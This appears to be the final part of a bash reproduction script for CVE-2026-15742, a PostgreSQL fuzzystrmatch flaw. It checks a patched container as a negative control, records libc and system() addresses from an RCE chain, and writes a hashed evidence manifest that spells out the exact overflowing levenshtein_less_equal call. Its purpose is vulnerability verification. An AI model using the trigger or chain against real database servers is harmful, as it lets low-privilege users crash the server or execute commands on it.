docker cp "$RCE_DIR/finale_fixed.sql" "cve15742-rce-fixed:/tmp/finale.sql" >>"$MAIN_LOG" 2>&1
timeout 300 docker exec "cve15742-rce-fixed" bash -c \
  "PGPASSWORD=attacker psql -U attacker -d postgres -X -f /tmp/finale.sql 2>&1" \
  > "$RCE_DIR/finale_fixed.psql.txt" || true
if grep -q "levenshtein distance out of range" "$RCE_DIR/finale_fixed.psql.txt" \
   && ! docker exec "cve15742-rce-fixed" bash -c "ls /var/lib/postgresql/data/x" >/dev/null 2>&1 \
   && ! docker logs "cve15742-rce-fixed" 2>&1 | grep -aqE '^[A-Z][a-z]{2} [A-Z][a-z]{2} [ 0-9][0-9] [0-9:]{8} [A-Z][A-Z]* 20[0-9][0-9]$'; then
  log "RCE stage: fixed control clean (ERROR out of range, no markers)"
  RCE_FIXED_CLEAN=1
else
  log "RCE stage: fixed control UNEXPECTED"
fi
BUILD_ID_VULN=$(grep -m1 -oE 'Build ID: [0-9a-f]+' "$RCE_DIR/readelf_vuln.txt" 2>/dev/null | awk '{print $3}')
BUILD_ID_FIXED=$(grep -m1 -oE 'Build ID: [0-9a-f]+' "$RCE_DIR/readelf_fixed.txt" 2>/dev/null | awk '{print $3}')
MARKER_EXPECT="uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)"
python3 - "$RCE_DIR/negative_control.json" "$BUILD_ID_FIXED" "$MARKER_EXPECT" <<'PY'
import json, sys
doc = {
  "schema_version": 1,
  "process_instance": "cve15742-rce-fixed",
  "executable_build_id": sys.argv[2],
  "marker": sys.argv[3],
  "target_path_reached": True,
  "marker_present": False,
  "notes": "fixed postgres:17.11 reached the same attacker procedure (spray + two levenshtein_less_equal writes); the first statement failed closed with ERROR: levenshtein distance out of range; no marker file created; server healthy."
}
json.dump(doc, open(sys.argv[1], "w"), indent=2)
PY
docker rm -f "cve15742-rce-fixed" >>"$MAIN_LOG" 2>&1 || true

if [ "$RCE_MARKER_HITS" -eq 2 ] && [ "$RCE_FIXED_CLEAN" = "1" ]; then
  RCE_OK=1
fi
docker rm -f "$RCE_CONTAINER" >>"$MAIN_LOG" 2>&1 || true
fi   # end: MODE == docker (stage 2 RCE chain)

log "RCE stage: marker hits $RCE_MARKER_HITS/2, RCE_OK=$RCE_OK"
{
  echo "RCE_OK=$RCE_OK"
  echo "RCE_MARKER_HITS=$RCE_MARKER_HITS"
  echo "LIBC_BASE=${LIBC_BASE:-}"
  echo "SYSTEM=${SYSTEM:-}"
  echo "BUILD_ID_VULN=${BUILD_ID_VULN:-}"
  echo "BUILD_ID_FIXED=${BUILD_ID_FIXED:-}"
} >> "$RESULTS"

# ---------------------------------------------------------------------------
# Runtime evidence manifest (written after all proof artifacts are final)
# ---------------------------------------------------------------------------
ARTIFACTS=(
  "logs/vulnerable_attempt_1/psql.txt"
  "logs/vulnerable_attempt_1/server.txt"
  "logs/vulnerable_attempt_1/wraparound.txt"
  "logs/vulnerable_attempt_2/psql.txt"
  "logs/vulnerable_attempt_2/server.txt"
  "logs/vulnerable_attempt_2/wraparound.txt"
  "logs/fixed_attempt_1/psql.txt"
  "logs/fixed_attempt_1/server.txt"
  "logs/fixed_attempt_1/range_ref.txt"
  "logs/fixed_attempt_2/psql.txt"
  "logs/fixed_attempt_2/server.txt"
  "logs/fixed_attempt_2/range_ref.txt"
  "logs/rce/readelf_vuln.txt"
  "logs/rce/readelf_fixed.txt"
  "logs/rce/randomize_va_space.txt"
  "logs/rce/leak_1.txt"
  "logs/rce/leak_2.txt"
  "logs/rce/leak_3.txt"
  "logs/rce/leak_4.txt"
  "logs/rce/leak_5.txt"
  "logs/rce/leak_6.txt"
  "logs/rce/leak_7.txt"
  "logs/rce/leak_8.txt"
  "logs/rce/leak_9.txt"
  "logs/rce/leak_10.txt"
  "logs/rce/leak_11.txt"
  "logs/rce/leak_12.txt"
  "logs/rce/leak_13.txt"
  "logs/rce/leak_14.txt"
  "logs/rce/leak_15.txt"
  "logs/rce/leak_16.txt"
  "logs/rce/finale_x.psql.txt"
  "logs/rce/finale_y.psql.txt"
  "logs/rce/finale_fixed.psql.txt"
  "logs/rce/negative_control.json"
  "logs/rce/marker_x.txt"
  "logs/rce/marker_y.txt"
  "logs/rce/maps_finale_x.txt"
  "logs/rce/maps_finale_y.txt"
)

ARCH="$(uname -m)"; [ "$ARCH" = "x86_64" ] || ARCH="x86_64"
if [ "$MODE" = "docker" ]; then
  TARGET_DIGEST="${VULN_ID#*@}"        # immutable image digest, e.g. sha256:...
  RUNTIME_DIGEST="${VULN_ID#*@}"
else
  TARGET_DIGEST="$(printf 'git:%s@%s' "$REPO_URL" "$VULN_COMMIT" | sha256sum | awk '{print $1}')"
  RUNTIME_DIGEST=""
fi

ARTIFACT_LIST="$(printf '%s ' "${ARTIFACTS[@]}")"
export ARTIFACT_LIST
python3 - "$REPRO_DIR/runtime_manifest.json" <<PYEOF
import json, hashlib, os, sys
root = os.environ["PRUVA_ROOT"]
arts = "$ARTIFACT_LIST".split()
hashes = {}
present = []
for a in arts:
    p = os.path.join(root, a)
    if os.path.isfile(p):
        with open(p, "rb") as f:
            hashes[a] = hashlib.sha256(f.read()).hexdigest()
        present.append(a)
manifest = {
    "entrypoint_kind": "function_call",
    "entrypoint_detail": "authenticated low-privilege SQL role executes levenshtein_less_equal('aaa','bbbbb',1073741824,-1073741823,-2147483647,0) via contrib/fuzzystrmatch after CREATE EXTENSION fuzzystrmatch",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["postgresql", "contrib/fuzzystrmatch", "psql/libpq"],
    "target_identity": {
        "repository_url": "$REPO_URL",
        "target_digest": "$TARGET_DIGEST",
        "platform": "linux",
        "architecture": "$ARCH"
    },
    "proof_artifacts": present,
    "artifact_sha256": hashes,
    "notes": "mode=$MODE; vulnerable=$VULN_ID (SIGSEGV $VULN_CRASHES/2); fixed=$FIXED_ID (healthy $FIXED_HEALTHY/2); fixed commit e88eb4e766381070f42e5b84e583a1d0288983f7; rce_ok=$RCE_OK markers=$RCE_MARKER_HITS/2 libc=$LIBC_BASE system=$SYSTEM"
}
if "$MODE" == "source":
    manifest["target_identity"]["commit_sha"] = "$VULN_COMMIT"
with open(sys.argv[1], "w") as f:
    json.dump(manifest, f, indent=2)
print("manifest written:", sys.argv[1])
PYEOF

log "runtime_manifest.json written"

if [ "$MODE" = "docker" ]; then
  if [ "$CONFIRMED" = "true" ] && [ "$RCE_OK" = "1" ]; then
    log "RESULT: CVE-2026-15742 CONFIRMED WITH DEMONSTRATED RCE (2/2 SIGSEGV + 2/2 command-execution markers, fixed build clean)"
    exit 0
  elif [ "$CONFIRMED" = "true" ]; then
    log "RESULT: memory corruption CONFIRMED (2/2 SIGSEGV, fixed healthy) but RCE chain incomplete (RCE_OK=$RCE_OK, markers $RCE_MARKER_HITS/2)"
    exit 1
  else
    log "RESULT: NOT confirmed (vuln crashes $VULN_CRASHES/2, fixed healthy $FIXED_HEALTHY/2)"
    exit 1
  fi
else
  if [ "$CONFIRMED" = "true" ]; then
    log "RESULT: CVE-2026-15742 CONFIRMED (2/2 vulnerable backend SIGSEGV, 2/2 fixed healthy)"
    exit 0
  else
    log "RESULT: NOT confirmed (vuln crashes $VULN_CRASHES/2, fixed healthy $FIXED_HEALTHY/2)"
    exit 1
  fi
fi
